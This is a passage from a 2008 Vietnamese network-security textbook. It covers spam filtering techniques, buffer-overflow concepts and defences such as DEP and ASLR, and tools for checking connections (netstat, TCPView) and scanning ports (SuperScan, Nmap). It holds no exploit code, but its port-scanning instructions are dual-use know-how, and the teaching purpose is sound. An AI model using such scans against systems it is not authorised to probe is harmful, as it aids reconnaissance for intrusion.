SPF sẽ phân tích các thông tin trong trường “From” hoặc “Sender” để kiểm tra địa

chỉ người gửi. Sau đó SPF sẽ đối chiếu địa chỉ đó với các thông tin đã được công

bố trong bản ghi SPF của miền đó xem máy gửi email có được phép gửi email hay

không. Nếu email đến từ một server không có trong bản ghi SPF mà miền đó đã

công bố thì email đó bị coi là giả mạo.

Chặn IP

Phương pháp này sẽ chặn các email được gửi đến từ các địa chỉ IP biết trước. Khi

một email đến, bộ lọc sẽ phân tích địa chỉ máy gửi và so sánh với danh sách địa chỉ

bị chặn. Nếu email đó đến từ một máy có địa chỉ trong danh sách này thì nó sẽ bị

coi là spam, ngược lại nó sẽ được coi là email hợp lệ.

Sử dụng bộ lọc Bayesian

Bộ lọc Bayesian hoạt động dựa trên định lý Bayes để tính toán xác suất xảy ra một

sự kiện dựa vào những sự kiện xảy ra trước đó. Kỹ thuật tương tự như vậy được sử

dụng để phân loại spam. Nếu một số phần văn bản xuất hiện thường xuyên trong

các spam nhưng thường không xuất hiện trong các email thông thường, thì có thể

kết luận rằng email đó là spam.

Page 145: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

145

Trước khi có thể lọc email bằng bộ lọc Bayesian, người dung cần tạo ra cơ sở dữ

liệu từ khóa và dấu hiệu (như là ký hiệu $, địa chỉ IP và các miền...) sưu tầm từ các

spam và các email không hợp lệ khác.

Mỗi từ hoặc mỗi dấu hiệu sẽ được cho một giá trị xác suất xuất hiện, giá trị này

dựa trên việc tính toán có bao nhiêu từ thường hay sử dụng trong spam, mà trong

các email hợp lệ thường không sử dụng. Việc tính toán này được thực hiện bằng

cách phân tích những email gửi đi của người dung và phân tích các kiểu spam đã

biết.

Để bộ lọc Bayesian hoạt động chính xác và có hiệu quả cao, cần phải tạo ra cơ sở

dữ liệu về các email thông thường và spam phu hợp với đặc thu kinh doanh của

từng công ty. Cơ sở dữ liệu này được hình thành khi bộ lọc trải qua giai đoạn

“huấn luyện”. Người quản trị phải cung cấp khoảng 1000 email thông thường và

1000 spam để bộ lọc phân tích tạo ra cơ sở dữ liệu cho riêng nó.

Sử dụng danh sách Black/white list

Việc sử dụng các danh sách black list, white list giúp cho việc lọc spam hiệu quả

hơn.

Black list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn không bao giờ

muốn nhận các email từ đó. Các email gửi tới từ các địa chỉ này sẽ bị đánh dấu là

spam.

White list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn mong muốn nhận

email từ đó. Nếu các email được gửi đến từ những địa chỉ nằm trong danh sách này

thì chúng luôn được cho qua.

Thông thường các bộ lọc có tính năng tự học, khi một email bị đánh dấu là spam

thì địa chỉ người gửi sẽ được tự động đưa vào danh sách black list. Ngược lại, khi

một email được gửi đi từ trong công ty thì địa chỉ người nhận sẽ được tự động đưa

vào danh sách white list.

Kiểm tra Header

Phương pháp này sẽ phân tích các trường trong phần header của email để đánh giá

email đó là email thông thường hay là spam. Spam thường có một số đặc điểm

như:

Page 146: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

146

• Để trống trường From: hoặc trường To: .

• Trường From: chứa địa chỉ email không tuân theo các chuẩn RFC.

• Các URL trong phần header và phần thân của message có chứa địa chỉ IP được

mã hóa dưới dạng hệ hex/oct hoặc có sự kết hợp theo dạng username/password (ví

dụ các địa chỉ: http://00722353893457472/hello.com,

[email protected])

• Phần tiêu đề của email có thể chứa địa chỉ email người nhận để cá nhân hóa email

đó. Lưu ý khi sử dụng tính năng này với các địa chỉ email dung chung có dạng như

[email protected]. Ví dụ khi một khách hàng phản hồi bằng cách sử dụng tính

năng auto-reply với tiêu đề “your email to sales” có thể bị đánh dấu là spam

• Gửi tới một số lượng rất lớn người nhận khác nhau.

• Chỉ chứa những file ảnh mà không chứa các từ để đánh lừa các bộ lọc.

• Sử dụng ngôn ngữ khác với ngôn ngữ mà người nhận đang sử dụng.

Dựa vào những đặc điểm này của spam, các bộ lọc có thể lọc chặn.

Sử dụng tính năng Challenge/Response

Tính năng này sẽ yêu cầu người lần đầu gửi email xác nhận lại email đầu tiên mà

họ đã gửi, sau khi xác nhận, địa chỉ email của người gửi được bổ sung vào danh

sách White list và từ đó trở về sau các email được gửi từ địa chỉ đó được tự động

cho qua các bộ lọc.

Do spammer sử dụng các chương trình gửi email tự động và họ không thể xác nhận

lại tất cả các email đã gửi đi, vì thế những email không được xác nhận sẽ bị coi là

spam.

Phương pháp này có hạn chế là nó yêu cầu những người gửi mới phải xác nhận lại

email đầu tiên mà họ gửi. Để khắc phục nhược điểm này, người quản trị chỉ nên sử

dụng phương pháp này đối với những email mà họ nghi ngờ là spam.

5.3.3. Phòng tránh thư rác

Page 147: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

147

Ngoài việc sử dụng các bộ lọc chống spam, người sử dụng cũng đóng vai trò quan

trọng trong việc chống lại “đại dịch” thư rác. Bởi vậy người dung cần tuân theo

một số nguyên tắc sau:

• Luôn cập nhật các bản vá mới nhất của các phần mềm đang cài đặt trên máy.

• Đảm bảo tất cả các máy luôn được cập nhật các phần mềm chống virus và chống

spam.

• Sử dụng các firewall để bảo vệ hệ thống.

• Không trả lời các email lạ không rõ nguồn gốc. Đối với các spammer, khi nhận

được một trả lời từ hàng ngàn email họ gửi đi thì cũng chứng minh là phương pháp

đó có hiệu quả. Ngoài ra, việc trả lời lại còn xác nhận là địa chỉ email của bạn là có

thực và hiện đang được sử dụng. Do vậy địa chỉ email của bạn sẽ “đáng giá” hơn,

và các spammer sẽ gửi nhiều thư rác hơn.

• Không gửi các thông tin cá nhân của bạn (số the tín dụng, mật khẩu, tài khoản

ngân hàng, v.v... ) trong thư điện tử. Các spammer và những ke lừa đảo qua mạng

có thể tạo ra những trang web giả mạo các tổ chức, ngân hàng... đề nghị bạn gửi

mật khẩu và một số thông tin về the tín dụng của bạn qua email.

• Không hồi đáp email bằng cách nhấn lên từ như “loại bỏ” (remove) hoặc “ngừng

đăng ký” (unsubscribe) trong dòng tiêu đề hoặc trong nội dung của thư trừ khi đây

là nguồn đáng tin cậy (các email tiếp thị trực tiếp). Đây là tiểu xảo của các

spammer để người sử dụng hồi đáp lại các spam của họ. Khi nhận được hồi đáp,

các spammer không những không loại bỏ địa chỉ email của bạn ra khỏi danh sách

mà còn gửi tới nhiều spam hơn bởi vì họ biết rằng địa chỉ email của bạn hiện đang

hoạt động.

• Không bao giờ bấm vào các liên kết URL hoặc địa chỉ trang web được ghi trong

spam ngay cả khi nó hướng dẫn người nhận ngừng đăng ký. Điều này cũng cho

người gửi biết rằng địa chỉ email của bạn đang được sử dụng và bạn có thể sẽ nhận

được nhiều spam hơn.

• Hãy sử dụng hai địa chỉ email khác nhau, một địa chỉ sử dụng cho các việc riêng

như bạn bè, công việc. Một địa chỉ sử dụng để đăng ký trở thành thành viên của

các diễn đàn, các tổ chức... những nơi mà địa chỉ email của bạn có thể bị lạm dụng

hoặc bán.

Page 148: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

148

• Không nên đăng địa chỉ email của bạn ở những nơi công cộng (ví dụ như các

diễn đàn, bảng tin, chat room...) nơi các spammer thường sử dụng các tiện ích để

thu thập và tìm kiếm địa chỉ email.

• Sử dụng các dịch vụ email cung cấp công cụ chống spam, ví dụ như Yahoo!

Mail, Gmail.

• Không bao giờ được chuyển tiếp spam cho người khác.

• Chuyển spam nhận được đến người quản trị hệ thống email. Quản trị viên sẽ thay

đổi chương trình lọc để lần sau hệ thống sẽ chặn lại những email tương tự như thế.

Page 149: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

149

CHƯƠNG 4: BUFFER OVERFLOWS

1. Khái niệm

Buffer (Bộ đệm) là vung dữ liệu chương trình phần mềm cấp phát để sử dụng trong

quá trình thực hiện chương trình.

Lỗi tràn bộ đệm là một điều kiện bất thường khi một tiến trình lưu dữ liệu vượt ra

ngoài biên của một bộ nhớ đệm có chiều dài cố định. Kết quả là dữ liệu đó sẽ đè

lên các vị trí bộ nhớ liền kề. Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ đệm

khác, các biến và dữ liệu điều khiển luồng chạy của chương trình.

Các lỗi tràn bộ đệm có thể làm cho một tiến trình đổ vỡ hoặc cho ra các kết quả

sai. Các lỗi này có thể được kích hoạt bởi các dữ liệu vào được thiết kế đặc biệt để

thực thi các đoạn mã phá hoại hoặc để làm cho chương trình hoạt động một cách

không như mong đợi. Bằng cách đó, các lỗi tràn bộ đệm gây ra nhiều lỗ hổng bảo

mật (vulnerability) đối với phần mềm và tạo cơ sở cho nhiều thủ thuật khai thác

(exploit). Việc kiểm tra biên (bounds checking) đầy đủ bởi lập trình viên hoặc trình

biên dịch có thể ngăn chặn các lỗi tràn bộ đệm.

Ví dụ cơ bản

Trong ví dụ sau, một chương trình đã định nghĩa hai phần tử dữ liệu kề nhau trong

bộ nhớ: A là một bộ nhớ đệm xâu ký tự dài 8 bytes, và B là một số nguyên kích

thước 2 byte. Ban đầu, A chỉ chứa toàn các byte giá trị 0, còn B chứa giá trị 3. Các

ký tự có kích thước 1 byte.

Bây giờ, chương trình ghi một xâu ký tự "excessive" vào bộ đệm A, theo sau là

một byte 0 để đánh dấu kết thúc xâu. Vì không kiểm tra độ dài xâu, nên xâu ký tự

mới đã đè lên giá trị của B:

Page 150: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

150

Tuy lập trình viên không có ý định sửa đổi B, nhưng giá trị của B đã bị thay thế bởi

một số được tạo nên từ phần cuối của xâu ký tự. Trong ví dụ này, trên một hệ

thống big-endian sử dụng mã ASCII, ký tự "e" và tiếp theo là một byte 0 sẽ trở

thành số 25856.

Nếu B là phần tử dữ liệu duy nhất còn lại trong số các biến được chương trình định

nghĩa, việc viết một xâu ký tự dài hơn nữa và vượt quá phần cuối của B sẽ có thể

gây ra một lỗi chẳng hạn như segmentation fault (lỗi phân đoạn) và tiến trình sẽ kết

thúc.

2. Chống tràn bộ đệm

Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện

hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn

chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên,

loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các

ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ

không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có.

2.1. Lựa chọn ngôn ngữ lập trình

Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện

của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình

thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai

ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập

hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp

lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng

cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy

nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thư viện khuôn mẫu chuẩn -

STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình

viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính

năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem

họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích

tiềm năng (độ an toàn của chương trình) hay không.

Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ

đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng.

Page 151: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

151

Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng

con trỏ và kiểm tra biên do người dung xác định.

Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm

tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về

các ngôn ngữ này rất đa dạng, từ pythol tới Ada, từ Lisp tới Modula-2, và từ

Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi

kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ

bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một

trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung

cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép

lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể

loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường

hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân

nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ

nào và cấu hình như thế nào cho trình biên dịch.

2.2. Sử dụng các thư viện an toàn

Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi

tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu

dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các

phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện

được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư

viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể

làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các

ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện

tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại

các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Du vậy,

việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm

và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó

cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library,

Arri Buffer API và Vstr. Thư viện C của hệ điều hành OpenBSD cung cấp các hàm

hữu ích strlcpy strlcat nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài

đặt thư viện an toàn đầy đủ.

Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được

công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu

Page 152: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

152

và các hàm xử lý xâu ký tự của thư viện C chuẩn, các hàm mới này được bổ sung

các tham số về kích thước bộ đệm.

2.3. Chống tràn bộ nhớ đệm trên stack

Stack-smashing protection là kỹ thuật được dung để phát hiện các hiện tượng tràn

bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi

một hàm trả về. Nếu stack đã bị sửa đổi, chương trình kết thúc bằng một lỗi

segmentation fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe,

StackGuard và các bản vá lỗi (patch) Propolicy

Chế độ Data Execution Prevention (cấm thực thi dữ liệu) của Microsoft bảo vệ

thẳng các con trỏ tới SEH Exception Handler, không cho chúng bị ghi đè.

Có thể bảo vệ stack hơn nữa bằng cách phân tách stack thành hai phần, một phần

dành cho dữ liệu và một phần cho các bước trả về của hàm. Sự phân chia này được

dung trong ngôn ngữ lập trình Forth, tuy nó không phải một quyết định thiết kế

dựa theo tiêu chí an toàn. Nhưng du sao thì đây cũng không phải một giải pháp

hoàn chỉnh đối với vấn đề tràn bộ đệm, khi các dữ liệu nhạy cảm không phải địa

chỉ trả về vẫn có thể bị ghi đè.

2.4. Bảo vệ không gian thực thi

Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm.

Kỹ thuật này ngăn chặn việc thực thi mã tại stack hay heap. Một ke tấn công có thể

sử dụng tràn bộ đệm để chèn một đoạn mã tuy ý vào bộ nhớ của một chương trình,

nhưng với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một

ngoại lệ (exception).

Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực thi")

hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với

phần mềm, các tính năng này có thể được dung để đánh dấu các trang dữ liệu

(chẳng hạn các trang chứa stack và heap) là đọc được nhưng không thực thi được.

Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính

năng bảo vệ không gian thực thi.

Các biến thể mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực thi,

với tên gọi Data Execution Prevention (ngăn chặn thực thi dữ liệu).

Page 153: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

153

2.5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ

Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address space layout randomization -

ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các

vung dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư

viện, heap và stack) một cách ngẫu nhiên trong không gian địa chỉ của một tiến

trình.

Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm cho

việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, nhưng phải là không thể

được. Nó còn buộc ke tấn công phải điều chỉnh khai thác cho hợp với từng hệ

thống cụ thể, điều này làm thất bại cố gắng của các con Sâu internet Một phương

pháp tương tự nhưng kém hiệu quả hơn, đó là kỹ thuật rebase đối với các tiến trình

và thư viện trong không gian địa chỉ ảo.

2.6. Kiểm tra sâu đối với gói tin

Biện pháp kiểm tra sâu đối với gói tin (deep packet inspection - DPI) có thể phát

hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ

thuật này có khả năng chặn các gói tin có chứa chữ ký của một vụ tấn công đã biết

hoặc chứa một chuỗi dài các lệnh No-Operation (NOP - lệnh rỗng không làm gì),

các chuỗi như vậy thường được sử dụng khi vị trí của nội dung quan trọng

(payload) của tấn công hơi có biến đổi.

Việc rà các gói tin không phải là một phương pháp hiệu quả vì nó chỉ có thể ngăn

chặn các tấn công đã biết, và có nhiều cách để mã hóa một lệnh NOP. Các ke tấn

công có thể đã sử dụng mã alphanumeric, metamorphic, và Shellcode tự sửa để

tránh bị phát hiện bởi việc rà gói tin.

2.7. Thường xuyên cập nhật, cài đặt các bản vá lỗi.

Thường xuyên kiểm tra, thực hiện cập nhật các phần mềm sử dụng trong hệ thống,

các bản vá lỗi hệ điều hành, ứng dụng quan trọng…

2.8. Đánh giá mức độ an toàn của chương trình phần mềm

Sử dụng các công cụ và hướng dẫn đánh giá mức độ an toàn của chương trình như

Slint, rats, its, flawfinder, …

Page 154: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

154

CHƯƠNG 5: AN NINH ỨNG DỤNG – NHỮNG NGUYÊN TẮC

CƠ BẢN

Như đã đề cập xuyên suốt trong tài liệu, An ninh mạng nói chung là một tổng thể

các chính sách, các giải pháp công nghệ được xây dựng và triển khai một cách

khoa học, thống nhất nhằm đảm bảo an toàn thông tin cho tổ chức. Cũng tương tự

như an ninh hạ tầng mạng, an ninh lớp ứng dụng, về cơ bản cũng bao gồm 4 bước:

Bước 1 (Security): Xây dựng các

giải pháp bảo mật

Tiến hành nghiên cứu, xây dựng

các giải pháp bảo mật phu hợp.

Đối với lớp hạ tầng mạng, các giải

pháp bảo mật có thể là công nghệ

tường lửa, IDS/IPS …

Còn đối với lớp ứng dụng, đó là

các giải pháp về phòng chống

Virus, các giải pháp đảm bảo an

toàn hệ thống Email (SMTP

Gateway Filter), các giải pháp về hệ thống Website,…

Bước 2 (Monitor): Kiểm tra, giám sát hệ thống

Kiểm soát hoạt động, đánh giá tính an toàn của hệ thống sau khi áp dụng

giải pháp bảo mật.

Duy trì tính ổn định, bảo mật của hệ thống.

Bước 3 (Test): Kiểm tra

Thực hiện kiểm tra các điểm yếu của hệ thống, phân tích các nguy cơ có thể

ảnh hưởng đến hệ thống.

Chẳng hạn, với giải pháp tường lửa ở lớp hạ tầng, chúng ta chỉ có thể kiểm

tra những kết nối, những cổng dịch vụ, những ứng dụng đang chạy trên một

máy chủ web nhưng không thể kiểm tra các lỗi liên quan đến kỹ thuật lập

Page 155: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

155

trình đối với các website được chạy trên máy chủ đó. Và đó chính là công

việc của bước kiểm tra an toàn ở lớp ứng dụng.

Bước 4 (Improve): Thông qua giải pháp

Sử dụng những thông tin thu được từ bước 2 và 3 để có đánh giá chính xác

về khả năng đáp ứng về bảo mật của hệ thống.

Điều chỉnh chính sách an ninh mạng và các giải pháp bảo mật nếu xuất hiện những

lỗ hổng và nguy cơ phát sinh.

Page 156: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

156

PHẦN 5

CÔNG CỤ BẢO MẬT MẠNG

Yêu cầu kiến thức

Phần công cụ bảo mật mạng yêu cầu người học:

- Có kiến thức cơ bản về mô hình OSI, TCP/IP.

- Có kiến thức cơ bản về các dịch vụ mạng và hệ điều hành.

Page 157: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

157

CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH

Đa số các phần mềm Key logger hay Back Door đều cố gắng kết nối tới một cổng

nào đó ở máy tính hacker để truyền những thông tin thu thập được từ máy nạn

nhân, hoặc mở một cổng nào đó trên máy nạn nhân để hacker có thể truy cập tới.

Hay trong một số trường hợp, người dung ADSL đột nhiên được thông báo rằng

máy tính của họ đã thực hiện một cuộc tấn công vào 1 website nào đó trong khi họ

không hề hay biết. Đó là khi các máy tính của người dung đã bị biến thành zombie,

nhận lệnh của hacker để tiến hành các cuộc tấn công. Vậy, làm thế nào để chúng ta

tránh được những nguy cơ kể trên. Một trong những cách đơn giản và hay gặp nhất

là thường xuyên kiểm tra kết nối trên máy tính của mình. Có một số công cụ giúp

ta làm việc này.

1. Công cụ NETSTAT

Đầu tiên, chúng ta cung nhau tìm hiểu công cụ netstat, một công cụ có sẵn trong

hệ điều hành Windows, với giao diện dòng lệnh và khá dễ sử dụng.

Để kiểm tra các kết nối trên máy tính của mình, chúng ta chỉ cần vào Run – gõ

CMD – Rồi gõ NETSTAT –AN :

Page 158: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

158

Cột Proto là phần giao thức (TCP, UDP)

Cột Local Address là địa chỉ IP và cổng đang mở ở máy tính mình.

Cột Foreign Address là địa chỉ IP và cổng đang mở của những máy ta đang

có kết nối , hoặc đang chờ kết nối.

Cột State là trạng thái phiên kết nối. Trong đó:

o Established là phiên đang kết nối.

o Listening là phiên đang đợi kết nối (cổng mở)

o Time_wait: phiên chờ để đóng kết nối.

Công cụ NETSTAT còn nhiều tính năng khác như thống kê số gói tin với từng

giao thức : ICMP, UDP, TCP, Ipv4, Ipv6 hay xem bảng định tuyến…, chúng ta có

thể sử dụng câu lệnh Netstat /? để được hướng dẫn.

2. Phần mềm TCPView

TCPView là một công cụ kiểm tra kết nối rất tốt. Chạy trên hệ điều hành

Windows, TCPView cho phép người quản trị liệt kê một cách chi tiết tất cả các kết

Page 159: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

159

nối TCP, UDP trên máy tính bao gồm tên tiến trình (Process Name), địa chỉ đích

(remote address) và trạng thái của phiên kết nối. TCPView là một công cụ rất trực

quan và hiển thị kết nối theo thời gian thực.

TCPView hỗ trợ các máy tính sử dụng hệ điều hành windows 98 , Windows Me,

Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003 and

Windows Vista.

Sử dụng TCPView

Khi khởi động, TCPView sẽ liệt kê tất cả các kết nối TCP, UDP đang thực hiện và

phân giải tên miền. Có thể thay đổi chế độ hiển thị theo tên miền hoặc địa chỉ IP.

Mặc định, TCPView tự động cập nhật mỗi một giây nhưng người sử dụng có thể

sử dụng chức năng View|Update Speed để thay đổi giá trị mặc định này. Những

kết nối vừa thay đổi trạng thái sẽ được hiển thị màu vàng, kết nối vừa ngắt sẽ hiển

thị màu đỏ và kết nối mới được mô tả bằng màu xanh.

TCPView còn cho phép người sử dụng có thể đóng một phiên kết nối nào đó bằng

cách click chuột phải lên kết nối đó và chọn Close Connections hay ngắt một tiến

trình nào đó bằng cách chọn End Process.

Page 160: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

160

Ngoài ra, một tính năng đáng chú ý nữa là TCPView cho phép người sử dụng tra

cứu trực tiếp thông tin về một tên miền nào đó qua Whois của MarkMonitor.com.

Page 161: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

161

CHƯƠNG 2. QUÉT CỔNG

Quét cổng là một quá trình nhằm kiểm tra xem một (hoặc nhiều) máy có mở một

(hay nhiều) cổng dịch vụ hay không. Các công cụ quét cổng cho phép chúng ta

cũng như những ke tấn công biết được cổng dịch vụ nào đang được mở trên hệ

thống. Từ đó có thể đưa ra những đánh giá về độ an toàn hệ thống, tìm hiểu các

loại dịch vụ trên hệ thống, phiên bản, hệ điều hành…

1. Công cụ SuperScan

SuperScan là một công cụ miễn phí của tổ chức bảo mật nổi tiếng FoundStone.

SuperScan khá mạnh trong việc quét cổng dịch vụ, ngoài ra, nó còn cung cấp các

tiện ích kèm theo rất hữu ích trong việc đánh giá an ninh mạng như Ping,

Traceroute, lấy banner, whois, Windows Enumeration. Trong nội dung này, chúng

ta chỉ tìm hiểu tác dụng quét cổng của SuperScan.

Page 162: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

162

Cách sử dụng SuperScan để quét cổng dịch vụ

Cách đơn giản nhất khi muốn quét cổng trên một máy tính là nhập địa chỉ IP của

máy tính đó vào phần Hostname/IP rồi Start (nút tam giác màu xanh)

Sau khi quét xong, kết quả được hiển thị ngay ở khung giữa chương trình. Nếu

muốn xem chi tiết hơn, có thể sử dụng chức năng View HTML Results.

SuperScan còn hỗ trợ quét cung lúc nhiều địa chỉ IP bằng cách nhập dải IP vào

phần Start IP và End IP. Ngoài ra, có thể nhập dải IP cần quét từ một tệp tin bằng

cách nhấn Read IPs from file. SuperScan hỗ trợ các dạng viết địa chỉ như sau:

- Theo tên miền: Evnit.com.vn

- Một địa chỉ: 10.1.3.223

- Nhiều địa chỉ: 10.1.3.1-10.1.3.20 hoặc 10.1.3.1-20

- Viết theo dạng CIDR: 10.1.3.0/24

SuperScan hoạt động tốt với chế độ mặc định. Tuy nhiên, người sử dụng cũng

được cung cấp một số cơ chế quét cổng khác ở tab Host and Service Discovery.

Page 163: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

163

Host Discovery Options

SuperScan cho phép người sử dụng sử dụng một số phương pháp khác nhau để

xác định một máy tính có đang kết nối mạng hay không (Live Host) như Echo

Request, Timestamp Request… Mặc định, SuperScan sẽ không tiến hành quét

cổng với những máy tính không kết nối. Do vậy, nếu bỏ chọn phần Host

Discovery, SuperScan sẽ quét cổng ở tất cả các địa chỉ trong list.

UDP Port Scan

SuperScan hỗ trợ 2 cơ chế quét UDP là:

Page 164: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

164

Data – SuperScan sẽ gửi gói tin UDP đến từng cổng trong danh sách và phân

tích dựa theo thông tin phản hồi.

Data + ICMP – tương tự như phương pháp Data nhưng sử dụng thêm gói tin

ICMP trong quá trình quét cổng. SuperScan sẽ gửi gói tin ICMP đến các

cổng, nếu một cổng nào đó không phản hồi với bản tin "ICMP Destination

Port Unreachable" thì SuperScan sẽ coi rằng cổng đó đang mở và tiến hành

gửi gói tin UDP như phương pháp trên.

TCP Port Scan

SuperScan hỗ trợ 2 cơ chế quét TCP cơ bản là:

Connect – Thực hiện một phiên TCP bắt tay 3 bước đầy đủ. (Full TCP 3-

way handshake)

SYN – Chỉ gửi gói tin SYN.

Chú ý: để quét chính máy tính của mình, phải sử dụng cơ chế Connect.

2. Network Mapper (NMAP)

Là một tiện ích mã nguồn mở miễn phí, Nmap thực sự rất mạnh trong việc dò quét

hệ thống. Nmap cung cấp rất nhiều cơ chế cho phép người quản trị có thể dễ dàng

xác định trạng thái các máy tính trong mạng, các dịch vụ (tên ứng dụng và phiên

bản) trên từng máy, các máy tính sử dụng hệ điều hành gì… Ngoài ra, Nmap còn

mạnh ở tốc độ quét, nên có thể sử dụng Nmap với hệ thống mạng lớn. Nmap chạy

trên hầu hết các hệ điều hành (từ Windows, Linux đến Mac…) và hỗ trợ cả giao

diện đồ họa lẫn giao diện dòng lệnh.

Như đã nói ở trên, Nmap là một bộ công cụ gồm rất nhiều tiện trong việc dò quét

hệ thống mạng. Tuy nhiên, ở nội dung này, chúng ta chỉ tìm hiểu về tính năng quét

cổng của Nmap.

